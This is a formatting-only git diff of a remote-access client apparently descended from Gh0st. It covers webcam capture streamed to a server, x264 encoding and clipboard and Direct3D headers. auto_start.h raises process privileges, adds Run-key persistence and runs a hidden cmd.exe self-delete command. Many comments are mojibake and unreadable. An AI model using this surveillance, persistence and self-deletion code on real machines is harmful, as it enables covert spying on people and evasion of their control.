lpBuffer[0] = TOKEN_WEBCAM_DIB; - lpBuffer[1] = m_bIsCompress; //ѹ + lpBuffer[0] = TOKEN_WEBCAM_DIB; + lpBuffer[1] = m_bIsCompress; //ѹ - memcpy(lpBuffer + 2, &m_fccHandler, sizeof(DWORD)); //ォƵѹдҪ͵Ļ + memcpy(lpBuffer + 2, &m_fccHandler, sizeof(DWORD)); //ォƵѹдҪ͵Ļ - UINT nPacketLen = 0; - if (m_bIsCompress && m_pVideoCodec) //жϣǷѹѹǷʼɹɹѹ - { - int nCompressLen = 0; - //ѹƵ - bool bRet = m_pVideoCodec->EncodeVideoData((LPBYTE)lpDIB, - m_CapVideo.GetBmpInfor()->bmiHeader.biSizeImage, lpBuffer + nHeadLen, - &nCompressLen, NULL); - if (!nCompressLen) - { - // some thing error - return FALSE; - } - //¼㷢ݰĴС ʣ¾Ƿˣǵض˿һƵѹô - //ض˵void CVideoDlg::OnReceiveComplete(void) - nPacketLen = nCompressLen + nHeadLen; - } - else - { - //ѹ Զ - memcpy(lpBuffer + nHeadLen, lpDIB, dwBmpImageSize); - nPacketLen = dwBmpImageSize+ nHeadLen; - } - m_CapVideo.SendEnd(); //copy send + UINT nPacketLen = 0; + if (m_bIsCompress && m_pVideoCodec) { //жϣǷѹѹǷʼɹɹѹ + int nCompressLen = 0; + //ѹƵ + bool bRet = m_pVideoCodec->EncodeVideoData((LPBYTE)lpDIB, + m_CapVideo.GetBmpInfor()->bmiHeader.biSizeImage, lpBuffer + nHeadLen, + &nCompressLen, NULL); + if (!nCompressLen) { + // some thing error + return FALSE; + } + //¼㷢ݰĴС ʣ¾Ƿˣǵض˿һƵѹô + //ض˵void CVideoDlg::OnReceiveComplete(void) + nPacketLen = nCompressLen + nHeadLen; + } else { + //ѹ Զ + memcpy(lpBuffer + nHeadLen, lpDIB, dwBmpImageSize); + nPacketLen = dwBmpImageSize+ nHeadLen; + } + m_CapVideo.SendEnd(); //copy send - m_ClientObject->Send2Server((char*)lpBuffer, nPacketLen); + m_ClientObject->Send2Server((char*)lpBuffer, nPacketLen); - return TRUE; + return TRUE; } VOID CVideoManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { - switch (szBuffer[0]) - { - case COMMAND_NEXT: - { - NotifyDialogIsOpen(); - break; - } - case COMMAND_WEBCAM_ENABLECOMPRESS: // Ҫѹ - { - // ʼѹ - if (m_pVideoCodec) - InterlockedExchange((LPLONG)&m_bIsCompress, true); - Mprintf("ѹƵд.\n"); - break; - } - case COMMAND_WEBCAM_DISABLECOMPRESS: // ԭʼݴ - { - InterlockedExchange((LPLONG)&m_bIsCompress, false); - Mprintf("ѹƵд.\n"); - break; - } - } + switch (szBuffer[0]) { + case COMMAND_NEXT: { + NotifyDialogIsOpen(); + break; + } + case COMMAND_WEBCAM_ENABLECOMPRESS: { // Ҫѹ + // ʼѹ + if (m_pVideoCodec) + InterlockedExchange((LPLONG)&m_bIsCompress, true); + Mprintf("ѹƵд.\n"); + break; + } + case COMMAND_WEBCAM_DISABLECOMPRESS: { // ԭʼݴ + InterlockedExchange((LPLONG)&m_bIsCompress, false); + Mprintf("ѹƵд.\n"); + break; + } + } } BOOL CVideoManager::Initialize() { - BOOL bRet = TRUE; + BOOL bRet = TRUE; - if (m_pVideoCodec!=NULL) - { - delete m_pVideoCodec; - m_pVideoCodec=NULL; - } - if (m_fccHandler==0) //ѹ - { - bRet= FALSE; - return bRet; - } - m_pVideoCodec = new CVideoCodec; - //ʼƵѹ עѹ m_fccHandler(캯в鿴) - if (!m_pVideoCodec->InitCompressor(m_CapVideo.GetBmpInfor(), m_fccHandler)) - { - delete m_pVideoCodec; - bRet=FALSE; - // NULL, ʱжǷΪNULLжǷѹ - m_pVideoCodec = NULL; - } - return bRet; + if (m_pVideoCodec!=NULL) { + delete m_pVideoCodec; + m_pVideoCodec=NULL; + } + if (m_fccHandler==0) { //ѹ + bRet= FALSE; + return bRet; + } + m_pVideoCodec = new CVideoCodec; + //ʼƵѹ עѹ m_fccHandler(캯в鿴) + if (!m_pVideoCodec->InitCompressor(m_CapVideo.GetBmpInfor(), m_fccHandler)) { + delete m_pVideoCodec; + bRet=FALSE; + // NULL, ʱжǷΪNULLжǷѹ + m_pVideoCodec = NULL; + } + return bRet; } diff --git a/client/VideoManager.h b/client/VideoManager.h index d1c59ac..1dabae7 100644 --- a/client/VideoManager.h +++ b/client/VideoManager.h @@ -13,29 +13,29 @@ #include "CaptureVideo.h" #include "VideoCodec.h" -class CVideoManager : public CManager +class CVideoManager : public CManager { public: - CVideoManager(IOCPClient* ClientObject, int n, void* user = nullptr) ; - virtual ~CVideoManager(); + CVideoManager(IOCPClient* ClientObject, int n, void* user = nullptr) ; + virtual ~CVideoManager(); - BOOL m_bIsWorking; - HANDLE m_hWorkThread; + BOOL m_bIsWorking; + HANDLE m_hWorkThread; - void SendBitMapInfor(); - BOOL SendNextScreen(); - static DWORD WINAPI WorkThread(LPVOID lParam); + void SendBitMapInfor(); + BOOL SendNextScreen(); + static DWORD WINAPI WorkThread(LPVOID lParam); - CCaptureVideo m_CapVideo; - VOID OnReceive(PBYTE szBuffer, ULONG ulLength); - BOOL Initialize(); + CCaptureVideo m_CapVideo; + VOID OnReceive(PBYTE szBuffer, ULONG ulLength); + BOOL Initialize(); - DWORD m_fccHandler; - bool m_bIsCompress; - LPBYTE lpBuffer; // ץͼ + DWORD m_fccHandler; + bool m_bIsCompress; + LPBYTE lpBuffer; // ץͼ - CVideoCodec *m_pVideoCodec; //ѹ - void Destroy(); + CVideoCodec *m_pVideoCodec; //ѹ + void Destroy(); }; #endif // !defined(AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_) diff --git a/client/X264Encoder.cpp b/client/X264Encoder.cpp index 6ff1c54..33afa88 100644 --- a/client/X264Encoder.cpp +++ b/client/X264Encoder.cpp @@ -12,152 +12,144 @@ CX264Encoder::CX264Encoder() { - memset(&m_Param, 0, sizeof(m_Param)); - m_pCodec = NULL; - m_pPicIn = NULL; - m_pPicOut = NULL; + memset(&m_Param, 0, sizeof(m_Param)); + m_pCodec = NULL; + m_pPicIn = NULL; + m_pPicOut = NULL; } CX264Encoder::~CX264Encoder() { - close(); + close(); } bool CX264Encoder::open(int width, int height, int fps, int bitrate) { - x264_param_t param = { 0 }; - x264_param_default_preset(¶m, "ultrafast", "zerolatency"); + x264_param_t param = { 0 }; + x264_param_default_preset(¶m, "ultrafast", "zerolatency"); - param.i_width = width & 0xfffffffe; - param.i_height = height & 0xfffffffe; + param.i_width = width & 0xfffffffe; + param.i_height = height & 0xfffffffe; - //x264_LOG_NONE - param.i_log_level = X264_LOG_NONE; - param.i_threads = 1; - param.i_frame_total = 0; - param.i_keyint_max = 10; - param.i_bframe = 0; //b֡ - param.b_open_gop = 0; - param.i_fps_num = fps; - param.i_csp = X264_CSP_I420; + //x264_LOG_NONE + param.i_log_level = X264_LOG_NONE; + param.i_threads = 1; + param.i_frame_total = 0; + param.i_keyint_max = 10; + param.i_bframe = 0; //b֡ + param.b_open_gop = 0; + param.i_fps_num = fps; + param.i_csp = X264_CSP_I420; - if (bitrate) - { - param.rc.i_rc_method = X264_RC_ABR; - param.rc.i_bitrate = bitrate; - } - - //profile. - if (x264_param_apply_profile(¶m, x264_profile_names[0])) - { - return false; - } + if (bitrate) { + param.rc.i_rc_method = X264_RC_ABR; + param.rc.i_bitrate = bitrate; + } - return open(¶m); + //profile. + if (x264_param_apply_profile(¶m, x264_profile_names[0])) { + return false; + } + + return open(¶m); } bool CX264Encoder::open(x264_param_t * param) { - m_pPicIn = (x264_picture_t*)calloc(1, sizeof(x264_picture_t)); - m_pPicOut = (x264_picture_t*)calloc(1, sizeof(x264_picture_t)); - - //input pic. - x264_picture_init(m_pPicIn); - - x264_picture_alloc( - m_pPicIn, - X264_CSP_I420, - param->i_width, - param->i_height); + m_pPicIn = (x264_picture_t*)calloc(1, sizeof(x264_picture_t)); + m_pPicOut = (x264_picture_t*)calloc(1, sizeof(x264_picture_t)); - //create codec instance. - m_pCodec = x264_encoder_open(param); - if (m_pCodec == NULL){ - return false; - } - memcpy(&m_Param, param, sizeof(m_Param)); - return true; + //input pic. + x264_picture_init(m_pPicIn); + + x264_picture_alloc( + m_pPicIn, + X264_CSP_I420, + param->i_width, + param->i_height); + + //create codec instance. + m_pCodec = x264_encoder_open(param); + if (m_pCodec == NULL) { + return false; + } + memcpy(&m_Param, param, sizeof(m_Param)); + return true; } void CX264Encoder::close() { - if (m_pCodec) - { - x264_encoder_close(m_pCodec); - m_pCodec = NULL; - } + if (m_pCodec) { + x264_encoder_close(m_pCodec); + m_pCodec = NULL; + } - if (m_pPicIn) - { - x264_picture_clean(m_pPicIn); - free(m_pPicIn); - m_pPicIn = NULL; - } + if (m_pPicIn) { + x264_picture_clean(m_pPicIn); + free(m_pPicIn); + m_pPicIn = NULL; + } - if (m_pPicOut) - { - free(m_pPicOut); - m_pPicOut = NULL; - } + if (m_pPicOut) { + free(m_pPicOut); + m_pPicOut = NULL; + } } int CX264Encoder::encode( - uint8_t * rgb, - uint8_t bpp, - uint32_t stride, - uint32_t width, - uint32_t height, - uint8_t ** lppData, - uint32_t * lpSize, - int direction) + uint8_t * rgb, + uint8_t bpp, + uint32_t stride, + uint32_t width, + uint32_t height, + uint8_t ** lppData, + uint32_t * lpSize, + int direction) { - int encode_size = 0; - x264_nal_t *pNal = NULL; - int iNal; + int encode_size = 0; + x264_nal_t *pNal = NULL; + int iNal; - if ((width & 0xfffffffe) != m_Param.i_width || - (height & 0xfffffffe) != m_Param.i_height) - { - return -1; - } + if ((width & 0xfffffffe) != m_Param.i_width || + (height & 0xfffffffe) != m_Param.i_height) { + return -1; + } - switch (bpp) - { - case 24: - libyuv::RGB24ToI420((uint8_t*)rgb, stride, - m_pPicIn->img.plane[0], m_pPicIn->img.i_stride[0], - m_pPicIn->img.plane[1], m_pPicIn->img.i_stride[1], - m_pPicIn->img.plane[2], m_pPicIn->img.i_stride[2], - m_Param.i_width, direction * m_Param.i_height); - break; - case 32: - libyuv::ARGBToI420((uint8_t*)rgb, stride, - m_pPicIn->img.plane[0], m_pPicIn->img.i_stride[0], - m_pPicIn->img.plane[1], m_pPicIn->img.i_stride[1], - m_pPicIn->img.plane[2], m_pPicIn->img.i_stride[2], - m_Param.i_width, direction * m_Param.i_height); - break; - default: - return -2; - } + switch (bpp) { + case 24: + libyuv::RGB24ToI420((uint8_t*)rgb, stride, + m_pPicIn->img.plane[0], m_pPicIn->img.i_stride[0], + m_pPicIn->img.plane[1], m_pPicIn->img.i_stride[1], + m_pPicIn->img.plane[2], m_pPicIn->img.i_stride[2], + m_Param.i_width, direction * m_Param.i_height); + break; + case 32: + libyuv::ARGBToI420((uint8_t*)rgb, stride, + m_pPicIn->img.plane[0], m_pPicIn->img.i_stride[0], + m_pPicIn->img.plane[1], m_pPicIn->img.i_stride[1], + m_pPicIn->img.plane[2], m_pPicIn->img.i_stride[2], + m_Param.i_width, direction * m_Param.i_height); + break; + default: + return -2; + } - encode_size = x264_encoder_encode( - m_pCodec, - &pNal, - &iNal, - m_pPicIn, - m_pPicOut); + encode_size = x264_encoder_encode( + m_pCodec, + &pNal, + &iNal, + m_pPicIn, + m_pPicOut); - if (encode_size < 0) - { - return -3; - } - - *lppData = pNal->p_payload; - *lpSize = encode_size; - return 0; + if (encode_size < 0) { + return -3; + } + + *lppData = pNal->p_payload; + *lpSize = encode_size; + return 0; } diff --git a/client/X264Encoder.h b/client/X264Encoder.h index bc4dea1..44f6fc7 100644 --- a/client/X264Encoder.h +++ b/client/X264Encoder.h @@ -1,35 +1,35 @@ #pragma once -extern "C"{ - #include - #include +extern "C" { +#include +#include } class CX264Encoder { private: - x264_t* m_pCodec; //ʵ - x264_picture_t *m_pPicIn; - x264_picture_t *m_pPicOut; - x264_param_t m_Param; + x264_t* m_pCodec; //ʵ + x264_picture_t *m_pPicIn; + x264_picture_t *m_pPicOut; + x264_param_t m_Param; public: - bool open(int width, int height, int fps,int bitrate); - bool open(x264_param_t * param); + bool open(int width, int height, int fps,int bitrate); + bool open(x264_param_t * param); - void close(); + void close(); - int encode( - uint8_t * rgb, - uint8_t bpp, - uint32_t stride, - uint32_t width, - uint32_t height, - uint8_t ** lppData, - uint32_t * lpSize, - int direction = 1 - ); + int encode( + uint8_t * rgb, + uint8_t bpp, + uint32_t stride, + uint32_t width, + uint32_t height, + uint8_t ** lppData, + uint32_t * lpSize, + int direction = 1 + ); - CX264Encoder(); - ~CX264Encoder(); + CX264Encoder(); + ~CX264Encoder(); }; diff --git a/client/auto_start.h b/client/auto_start.h index 3fc9e37..07f00e9 100644 --- a/client/auto_start.h +++ b/client/auto_start.h @@ -4,30 +4,45 @@ // Ȩ inline int DebugPrivilege() { - HANDLE hToken = NULL; - if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) - return -1; + HANDLE hToken = NULL; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) + return -1; - // ̬ռ䣬 3 LUID - TOKEN_PRIVILEGES* tp = (TOKEN_PRIVILEGES*)malloc(sizeof(TOKEN_PRIVILEGES) + 2 * sizeof(LUID_AND_ATTRIBUTES)); - if (!tp) { CloseHandle(hToken); return 1; } + // ̬ռ䣬 3 LUID + TOKEN_PRIVILEGES* tp = (TOKEN_PRIVILEGES*)malloc(sizeof(TOKEN_PRIVILEGES) + 2 * sizeof(LUID_AND_ATTRIBUTES)); + if (!tp) { + CloseHandle(hToken); + return 1; + } - tp->PrivilegeCount = 3; + tp->PrivilegeCount = 3; - if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp->Privileges[0].Luid)) { free(tp); CloseHandle(hToken); return 2; } - tp->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp->Privileges[0].Luid)) { + free(tp); + CloseHandle(hToken); + return 2; + } + tp->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - if (!LookupPrivilegeValue(NULL, SE_INCREASE_QUOTA_NAME, &tp->Privileges[1].Luid)) { free(tp); CloseHandle(hToken); return 3; } - tp->Privileges[1].Attributes = SE_PRIVILEGE_ENABLED; + if (!LookupPrivilegeValue(NULL, SE_INCREASE_QUOTA_NAME, &tp->Privileges[1].Luid)) { + free(tp); + CloseHandle(hToken); + return 3; + } + tp->Privileges[1].Attributes = SE_PRIVILEGE_ENABLED; - if (!LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &tp->Privileges[2].Luid)) { free(tp); CloseHandle(hToken); return 4; } - tp->Privileges[2].Attributes = SE_PRIVILEGE_ENABLED; + if (!LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &tp->Privileges[2].Luid)) { + free(tp); + CloseHandle(hToken); + return 4; + } + tp->Privileges[2].Attributes = SE_PRIVILEGE_ENABLED; - AdjustTokenPrivileges(hToken, FALSE, tp, sizeof(TOKEN_PRIVILEGES) + 2 * sizeof(LUID_AND_ATTRIBUTES), NULL, NULL); + AdjustTokenPrivileges(hToken, FALSE, tp, sizeof(TOKEN_PRIVILEGES) + 2 * sizeof(LUID_AND_ATTRIBUTES), NULL, NULL); - free(tp); - CloseHandle(hToken); - return 0; + free(tp); + CloseHandle(hToken); + return 0; } /** @@ -41,52 +56,52 @@ inline int DebugPrivilege() */ inline BOOL SetSelfStart(const char* sPath, const char* sNmae) { - DebugPrivilege(); + DebugPrivilege(); - // дע· + // дע· #define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\" - // עдϢ - HKEY hKey = NULL; - LONG lRet = RegOpenKeyExA(HKEY_CURRENT_USER, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey); + // עдϢ + HKEY hKey = NULL; + LONG lRet = RegOpenKeyExA(HKEY_CURRENT_USER, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey); - // жǷɹ - if (lRet != ERROR_SUCCESS) - return FALSE; + // жǷɹ + if (lRet != ERROR_SUCCESS) + return FALSE; - lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1); + lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1); - // رע - RegCloseKey(hKey); + // رע + RegCloseKey(hKey); - // жǷɹ - return lRet == ERROR_SUCCESS; + // жǷɹ + return lRet == ERROR_SUCCESS; } inline bool markForDeleteOnReboot(const char* file) { - return MoveFileExA(file, NULL, MOVEFILE_DELAY_UNTIL_REBOOT | MOVEFILE_WRITE_THROUGH) != FALSE; + return MoveFileExA(file, NULL, MOVEFILE_DELAY_UNTIL_REBOOT | MOVEFILE_WRITE_THROUGH) != FALSE; } inline BOOL self_del(int timeoutSecond=3) { - char file[MAX_PATH] = { 0 }, szCmd[MAX_PATH * 2] = { 0 }; - if (GetModuleFileName(NULL, file, MAX_PATH) == 0) - return FALSE; + char file[MAX_PATH] = { 0 }, szCmd[MAX_PATH * 2] = { 0 }; + if (GetModuleFileName(NULL, file, MAX_PATH) == 0) + return FALSE; - markForDeleteOnReboot(file); + markForDeleteOnReboot(file); - sprintf(szCmd, "cmd.exe /C timeout /t %d /nobreak > Nul & Del /f /q \"%s\"", timeoutSecond, file); + sprintf(szCmd, "cmd.exe /C timeout /t %d /nobreak > Nul & Del /f /q \"%s\"", timeoutSecond, file); - STARTUPINFO si = { 0 }; - PROCESS_INFORMATION pi = { 0 }; - si.cb = sizeof(si); + STARTUPINFO si = { 0 }; + PROCESS_INFORMATION pi = { 0 }; + si.cb = sizeof(si); - if (CreateProcess(NULL, szCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { - CloseHandle(pi.hThread); - CloseHandle(pi.hProcess); - return TRUE; - } + if (CreateProcess(NULL, szCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + return TRUE; + } - return FALSE; + return FALSE; } diff --git a/client/clip.h b/client/clip.h index a6f0913..275dcb2 100644 --- a/client/clip.h +++ b/client/clip.h @@ -13,34 +13,37 @@ #include #include -namespace clip { +namespace clip +{ - // ====================================================================== - // Low-level API to lock the clipboard/pasteboard and modify it - // ====================================================================== +// ====================================================================== +// Low-level API to lock the clipboard/pasteboard and modify it +// ====================================================================== - // Clipboard format identifier. - typedef size_t format; +// Clipboard format identifier. +typedef size_t format; #if CLIP_ENABLE_IMAGE - class image; - struct image_spec; +class image; +struct image_spec; #endif // CLIP_ENABLE_IMAGE #if CLIP_ENABLE_LIST_FORMATS - struct format_info { +struct format_info { format id = 0; std::string name; format_info(const format id, const std::string& name) - : id(id), - name(name) { + : id(id), + name(name) + { } - }; +}; #endif // CLIP_ENABLE_LIST_FORMATS - class lock { - public: +class lock +{ +public: // You can give your current HWND as the "native_window_handle." // Windows clipboard functions use this handle to open/close // (lock/unlock) the clipboard. From the MSDN documentation we @@ -79,62 +82,62 @@ namespace clip { std::vector list_formats() const; #endif // CLIP_ENABLE_LIST_FORMATS - private: +private: class impl; std::unique_ptr p; - }; +}; - format register_format(const std::string& name); +format register_format(const std::string& name); - // This format is when the clipboard has no content. - format empty_format(); +// This format is when the clipboard has no content. +format empty_format(); - // When the clipboard has UTF8 text. - format text_format(); +// When the clipboard has UTF8 text. +format text_format(); #if CLIP_ENABLE_IMAGE - // When the clipboard has an image. - format image_format(); +// When the clipboard has an image. +format image_format(); #endif - // Returns true if the clipboard has content of the given type. - bool has(format f); +// Returns true if the clipboard has content of the given type. +bool has(format f); - // Clears the clipboard content. - bool clear(); +// Clears the clipboard content. +bool clear(); - // ====================================================================== - // Error handling - // ====================================================================== +// ====================================================================== +// Error handling +// ====================================================================== - enum class ErrorCode { +enum class ErrorCode { CannotLock, #if CLIP_ENABLE_IMAGE ImageNotSupported, #endif - }; +}; - typedef void (*error_handler)(ErrorCode code); +typedef void (*error_handler)(ErrorCode code); - void set_error_handler(error_handler f); - error_handler get_error_handler(); +void set_error_handler(error_handler f); +error_handler get_error_handler(); - // ====================================================================== - // Text - // ====================================================================== +// ====================================================================== +// Text +// ====================================================================== - // High-level API to put/get UTF8 text in/from the clipboard. These - // functions returns false in case of error. - bool set_text(const std::string& value); - bool get_text(std::string& value); +// High-level API to put/get UTF8 text in/from the clipboard. These +// functions returns false in case of error. +bool set_text(const std::string& value); +bool get_text(std::string& value); - // ====================================================================== - // Image - // ====================================================================== +// ====================================================================== +// Image +// ====================================================================== #if CLIP_ENABLE_IMAGE - struct image_spec { +struct image_spec { unsigned long width = 0; unsigned long height = 0; unsigned long bits_per_pixel = 0; @@ -149,20 +152,21 @@ namespace clip { unsigned long alpha_shift = 0; unsigned long required_data_size() const; - }; +}; - // The image data must contain straight RGB values - // (non-premultiplied by alpha). The image retrieved from the - // clipboard will be non-premultiplied too. Basically you will be - // always dealing with straight alpha images. - // - // Details: Windows expects premultiplied images on its clipboard - // content, so the library code make the proper conversion - // automatically. macOS handles straight alpha directly, so there is - // no conversion at all. Linux/X11 images are transferred in - // image/png format which are specified in straight alpha. - class image { - public: +// The image data must contain straight RGB values +// (non-premultiplied by alpha). The image retrieved from the +// clipboard will be non-premultiplied too. Basically you will be +// always dealing with straight alpha images. +// +// Details: Windows expects premultiplied images on its clipboard +// content, so the library code make the proper conversion +// automatically. macOS handles straight alpha directly, so there is +// no conversion at all. Linux/X11 images are transferred in +// image/png format which are specified in straight alpha. +class image +{ +public: image(); image(const image_spec& spec); image(const void* data, const image_spec& spec); @@ -173,38 +177,47 @@ namespace clip { image& operator=(const image& image); image& operator=(image&& image); - char* data() const { return m_data; } - const image_spec& spec() const { return m_spec; } + char* data() const + { + return m_data; + } + const image_spec& spec() const + { + return m_spec; + } - bool is_valid() const { return m_data != nullptr; } + bool is_valid() const + { + return m_data != nullptr; + } void reset(); - private: +private: void copy_image(const image& image); void move_image(image&& image); bool m_own_data; char* m_data; image_spec m_spec; - }; +}; - // High-level API to set/get an image in/from the clipboard. These - // functions returns false in case of error. - bool set_image(const image& img); - bool get_image(image& img); - bool get_image_spec(image_spec& spec); +// High-level API to set/get an image in/from the clipboard. These +// functions returns false in case of error. +bool set_image(const image& img); +bool get_image(image& img); +bool get_image_spec(image_spec& spec); #endif // CLIP_ENABLE_IMAGE - // ====================================================================== - // Platform-specific - // ====================================================================== +// ====================================================================== +// Platform-specific +// ====================================================================== - // Only for X11: Sets the time (in milliseconds) that we must wait - // for the selection/clipboard owner to receive the content. This - // value is 1000 (one second) by default. - void set_x11_wait_timeout(int msecs); - int get_x11_wait_timeout(); +// Only for X11: Sets the time (in milliseconds) that we must wait +// for the selection/clipboard owner to receive the content. This +// value is 1000 (one second) by default. +void set_x11_wait_timeout(int msecs); +int get_x11_wait_timeout(); } // namespace clip diff --git a/client/d3d/d3dcaps.h b/client/d3d/d3dcaps.h index 2a987f7..05333ee 100644 --- a/client/d3d/d3dcaps.h +++ b/client/d3d/d3dcaps.h @@ -1,6 +1,6 @@ /*==========================================================================; * - * Copyright (C) Microsoft Corporation. All Rights Reserved. + * Copyright (C) Microsoft Corporation. All Rights Reserved. * * File: d3dcaps.h * Content: Direct3D capabilities include file @@ -461,7 +461,7 @@ typedef HRESULT (CALLBACK * LPD3DENUMDEVICESCALLBACK7)(LPSTR lpDeviceDescription /* D3DDEVICEDESC dwDevCaps flags */ #define D3DDEVCAPS_FLOATTLVERTEX 0x00000001L /* Device accepts floating point */ - /* for post-transform vertex data */ +/* for post-transform vertex data */ #define D3DDEVCAPS_SORTINCREASINGZ 0x00000002L /* Device needs data sorted for increasing Z */ #define D3DDEVCAPS_SORTDECREASINGZ 0X00000004L /* Device needs data sorted for decreasing Z */ #define D3DDEVCAPS_SORTEXACT 0x00000008L /* Device needs data sorted exactly */ diff --git a/client/d3d/d3drm.h b/client/d3d/d3drm.h index e2c82f3..84ba5b2 100644 --- a/client/d3d/d3drm.h +++ b/client/d3d/d3drm.h @@ -1,94 +1,94 @@ /* $Revision: 1.2 $ */ -#ifndef _LCC__D3DRM_H__ -#define _LCC__D3DRM_H__ -#include "ddraw.h" -#include "d3drmobj.h" -typedef void (*D3DRMDEVICEPALETTECALLBACK)(LPDIRECT3DRMDEVICE,LPVOID,DWORD,LONG,LONG,LONG); -DEFINE_GUID(IID_IDirect3DRM, 0x2bc49361, 0x8327, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -WIN_TYPES(IDirect3DRM, DIRECT3DRM); -STDAPI Direct3DRMCreate(LPDIRECT3DRM *lplpDirect3DRM); -#undef INTERFACE -#define INTERFACE IDirect3DRM -DECLARE_INTERFACE_(IDirect3DRM, IUnknown) -{ - IUNKNOWN_METHODS(PURE); - - STDMETHOD(CreateObject) - (THIS_ REFCLSID rclsid, LPUNKNOWN pUnkOuter, REFIID riid, LPVOID FAR* ppv) PURE; - STDMETHOD(CreateFrame) (THIS_ LPDIRECT3DRMFRAME, LPDIRECT3DRMFRAME *) PURE; - STDMETHOD(CreateMesh) (THIS_ LPDIRECT3DRMMESH *) PURE; - STDMETHOD(CreateMeshBuilder)(THIS_ LPDIRECT3DRMMESHBUILDER *) PURE; - STDMETHOD(CreateFace) (THIS_ LPDIRECT3DRMFACE *) PURE; - STDMETHOD(CreateAnimation) (THIS_ LPDIRECT3DRMANIMATION *) PURE; - STDMETHOD(CreateAnimationSet)(THIS_ LPDIRECT3DRMANIMATIONSET *) PURE; - STDMETHOD(CreateTexture) (THIS_ LPD3DRMIMAGE, LPDIRECT3DRMTEXTURE *) PURE; - STDMETHOD(CreateLight) (THIS_ D3DRMLIGHTTYPE, D3DCOLOR, LPDIRECT3DRMLIGHT *) PURE; - STDMETHOD(CreateLightRGB) - (THIS_ D3DRMLIGHTTYPE, D3DVALUE, D3DVALUE, D3DVALUE, LPDIRECT3DRMLIGHT *) PURE; - STDMETHOD(CreateMaterial) (THIS_ D3DVALUE, LPDIRECT3DRMMATERIAL *) PURE; - STDMETHOD(CreateDevice) (THIS_ DWORD, DWORD, LPDIRECT3DRMDEVICE *) PURE; - STDMETHOD(CreateDeviceFromSurface) - ( THIS_ LPGUID lpGUID, LPDIRECTDRAW lpDD, - LPDIRECTDRAWSURFACE lpDDSBack, LPDIRECT3DRMDEVICE * - ) PURE; - STDMETHOD(CreateDeviceFromD3D) - ( THIS_ LPDIRECT3D lpD3D, LPDIRECT3DDEVICE lpD3DDev, - LPDIRECT3DRMDEVICE * - ) PURE; - STDMETHOD(CreateDeviceFromClipper) - ( THIS_ LPDIRECTDRAWCLIPPER lpDDClipper, LPGUID lpGUID, - int width, int height, LPDIRECT3DRMDEVICE *) PURE; - STDMETHOD(CreateTextureFromSurface)(THIS_ LPDIRECTDRAWSURFACE lpDDS, LPDIRECT3DRMTEXTURE *) PURE; - STDMETHOD(CreateShadow) - ( THIS_ LPDIRECT3DRMVISUAL, LPDIRECT3DRMLIGHT, - D3DVALUE px, D3DVALUE py, D3DVALUE pz, - D3DVALUE nx, D3DVALUE ny, D3DVALUE nz, - LPDIRECT3DRMVISUAL * - ) PURE; - STDMETHOD(CreateViewport) - ( THIS_ LPDIRECT3DRMDEVICE, LPDIRECT3DRMFRAME, DWORD, DWORD, - DWORD, DWORD, LPDIRECT3DRMVIEWPORT * - ) PURE; - STDMETHOD(CreateWrap) - ( THIS_ D3DRMWRAPTYPE, LPDIRECT3DRMFRAME, - D3DVALUE ox, D3DVALUE oy, D3DVALUE oz, - D3DVALUE dx, D3DVALUE dy, D3DVALUE dz, - D3DVALUE ux, D3DVALUE uy, D3DVALUE uz, - D3DVALUE ou, D3DVALUE ov, - D3DVALUE su, D3DVALUE sv, - LPDIRECT3DRMWRAP * - ) PURE; - STDMETHOD(CreateUserVisual) (THIS_ D3DRMUSERVISUALCALLBACK, LPVOID lPArg, LPDIRECT3DRMUSERVISUAL *) PURE; - STDMETHOD(LoadTexture) (THIS_ const char *, LPDIRECT3DRMTEXTURE *) PURE; - STDMETHOD(LoadTextureFromResource) (THIS_ HRSRC rs, LPDIRECT3DRMTEXTURE *) PURE; - STDMETHOD(SetSearchPath) (THIS_ LPCSTR) PURE; - STDMETHOD(AddSearchPath) (THIS_ LPCSTR) PURE; - STDMETHOD(GetSearchPath) (THIS_ DWORD *size_return, LPSTR path_return); - STDMETHOD(SetDefaultTextureColors)(THIS_ DWORD) PURE; - STDMETHOD(SetDefaultTextureShades)(THIS_ DWORD) PURE; - STDMETHOD(GetDevices) (THIS_ LPDIRECT3DRMDEVICEARRAY *) PURE; - STDMETHOD(GetNamedObject) (THIS_ const char *, LPDIRECT3DRMOBJECT *) PURE; - STDMETHOD(EnumerateObjects) (THIS_ D3DRMOBJECTCALLBACK, LPVOID) PURE; - STDMETHOD(Load) - ( THIS_ LPVOID, LPVOID, LPIID *, DWORD, D3DRMLOADOPTIONS, - D3DRMLOADCALLBACK, LPVOID, D3DRMLOADTEXTURECALLBACK, LPVOID, - LPDIRECT3DRMFRAME - ) PURE; - STDMETHOD(Tick) (THIS_ D3DVALUE) PURE; -}; -#define D3DRM_OK DD_OK -#define D3DRMERR_BADOBJECT MAKE_DDHRESULT(781) -#define D3DRMERR_BADTYPE MAKE_DDHRESULT(782) -#define D3DRMERR_BADALLOC MAKE_DDHRESULT(783) -#define D3DRMERR_FACEUSED MAKE_DDHRESULT(784) -#define D3DRMERR_NOTFOUND MAKE_DDHRESULT(785) -#define D3DRMERR_NOTDONEYET MAKE_DDHRESULT(786) -#define 